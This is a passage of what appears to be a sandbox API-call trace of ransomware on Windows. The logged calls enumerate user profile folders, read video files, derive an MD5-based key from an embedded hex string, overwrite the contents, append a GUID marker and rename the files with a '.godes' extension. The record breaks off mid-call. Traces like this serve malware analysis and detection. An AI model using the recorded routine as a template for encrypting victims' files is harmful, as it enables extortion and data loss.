lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.588] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0113.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0113.588] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0113.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0113.588] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0113.588] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0113.588] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0113.588] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0113.589] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.589] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.589] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0113.589] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.589] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.589] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.589] PathFindFileNameW (pszPath="") returned="" [0113.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0113.589] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.589] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.589] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0113.589] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.589] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.589] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.589] PathFindFileNameW (pszPath="") returned="" [0113.589] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0113.589] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.589] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.589] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0113.590] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.590] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.590] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.590] PathFindFileNameW (pszPath="") returned="" [0113.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0113.590] PeekMessageW (in: lpMsg=0x3b2ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2ff08) returned 0 [0113.590] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0113.590] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0113.590] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.590] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.590] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.590] PathFindFileNameW (pszPath="") returned="" [0113.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9676de70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9676de70, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0113.590] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9676de70, ftLastAccessTime.dwHighDateTime=0x1d53993, ftLastWriteTime.dwLowDateTime=0x9676de70, ftLastWriteTime.dwHighDateTime=0x1d53993, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.590] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56529600, ftCreationTime.dwHighDateTime=0x1d4c8d1, ftLastAccessTime.dwLowDateTime=0x8d7fa650, ftLastAccessTime.dwHighDateTime=0x1d4d17c, ftLastWriteTime.dwLowDateTime=0x8d7fa650, ftLastWriteTime.dwHighDateTime=0x1d4d17c, nFileSizeHigh=0x0, nFileSizeLow=0xe39a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-8vn9TCLWYBRe.avi", cAlternateFileName="-8VN9T~1.AVI")) returned 1 [0113.590] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-8vn9TCLWYBRe.avi") returned=".avi" [0113.590] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-8vn9TCLWYBRe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-8vn9tclwybre.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.594] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=58266) returned 1 [0113.594] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.596] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe374, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.596] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.597] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xe39a, lpOverlapped=0x0) returned 1 [0113.598] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.598] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.598] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.598] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741378) returned 1 [0113.599] CryptCreateHash (in: hProv=0x741378, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.599] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.599] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.599] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.599] GetLastError () returned 0x0 [0113.599] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.599] CryptReleaseContext (hProv=0x741378, dwFlags=0x0) returned 1 [0113.600] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xe39a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.600] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.600] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.600] CloseHandle (hObject=0x624) returned 1 [0113.601] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-8vn9TCLWYBRe.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-8vn9tclwybre.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\-8vn9TCLWYBRe.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\-8vn9tclwybre.avi.godes")) returned 1 [0113.602] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdcfc7c0, ftCreationTime.dwHighDateTime=0x1d4cd47, ftLastAccessTime.dwLowDateTime=0x99a7a6e0, ftLastAccessTime.dwHighDateTime=0x1d4c71c, ftLastWriteTime.dwLowDateTime=0x99a7a6e0, ftLastWriteTime.dwHighDateTime=0x1d4c71c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="77Cx1sWq_QSp08HQt5", cAlternateFileName="77CX1S~1")) returned 1 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x326d630 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x3206400 [0113.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326d630 | out: hHeap=0x660000) returned 1 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x7412f0 [0113.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3206400 | out: hHeap=0x660000) returned 1 [0113.602] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b9d2e0, ftCreationTime.dwHighDateTime=0x1d4d236, ftLastAccessTime.dwLowDateTime=0xf3cbe320, ftLastAccessTime.dwHighDateTime=0x1d4cd20, ftLastWriteTime.dwLowDateTime=0xf3cbe320, ftLastWriteTime.dwHighDateTime=0x1d4cd20, nFileSizeHigh=0x0, nFileSizeLow=0xb695, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dDZIFmz5oUjH6dudt.avi", cAlternateFileName="DDZIFM~1.AVI")) returned 1 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.602] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.602] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.602] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dDZIFmz5oUjH6dudt.avi") returned=".avi" [0113.602] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dDZIFmz5oUjH6dudt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ddzifmz5oujh6dudt.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.603] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=46741) returned 1 [0113.603] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.604] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb66f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.604] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.606] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.606] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.606] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.606] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xb695, lpOverlapped=0x0) returned 1 [0113.607] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.607] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.607] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.607] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.607] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x740e28) returned 1 [0113.607] CryptCreateHash (in: hProv=0x740e28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.607] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.608] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.608] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.608] GetLastError () returned 0x0 [0113.608] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.608] CryptReleaseContext (hProv=0x740e28, dwFlags=0x0) returned 1 [0113.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb6a0) returned 0x3321120 [0113.608] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.608] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xb690, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xb690, lpOverlapped=0x0) returned 1 [0113.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.608] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb695, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf4d0 [0113.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x331ea60 [0113.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x331ea60, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.608] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321120 [0113.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331ea60 | out: hHeap=0x660000) returned 1 [0113.608] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf4d0 | out: hHeap=0x660000) returned 1 [0113.609] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.609] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.609] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.609] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.609] CloseHandle (hObject=0x624) returned 1 [0113.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x740e28 [0113.610] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.610] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x740e28 | out: hHeap=0x660000) returned 1 [0113.610] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dDZIFmz5oUjH6dudt.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ddzifmz5oujh6dudt.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dDZIFmz5oUjH6dudt.avi.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ddzifmz5oujh6dudt.avi.godes")) returned 1 [0113.611] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.611] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741378 | out: hHeap=0x660000) returned 1 [0113.612] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0113.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x76) returned 0x752440 [0113.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.612] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0113.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x752440 | out: hHeap=0x660000) returned 1 [0113.612] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce91190, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0x3eca88f0, ftLastAccessTime.dwHighDateTime=0x1d4d5b3, ftLastWriteTime.dwLowDateTime=0x3eca88f0, ftLastWriteTime.dwHighDateTime=0x1d4d5b3, nFileSizeHigh=0x0, nFileSizeLow=0x105a6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iLHPbBavnh_-fnnaZkXR.flv", cAlternateFileName="ILHPBB~1.FLV")) returned 1 [0113.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326da48 [0113.612] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741378 [0113.612] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326da48 | out: hHeap=0x660000) returned 1 [0113.612] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iLHPbBavnh_-fnnaZkXR.flv") returned=".flv" [0113.612] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\iLHPbBavnh_-fnnaZkXR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ilhpbbavnh_-fnnazkxr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.612] GetFileSizeEx (in: 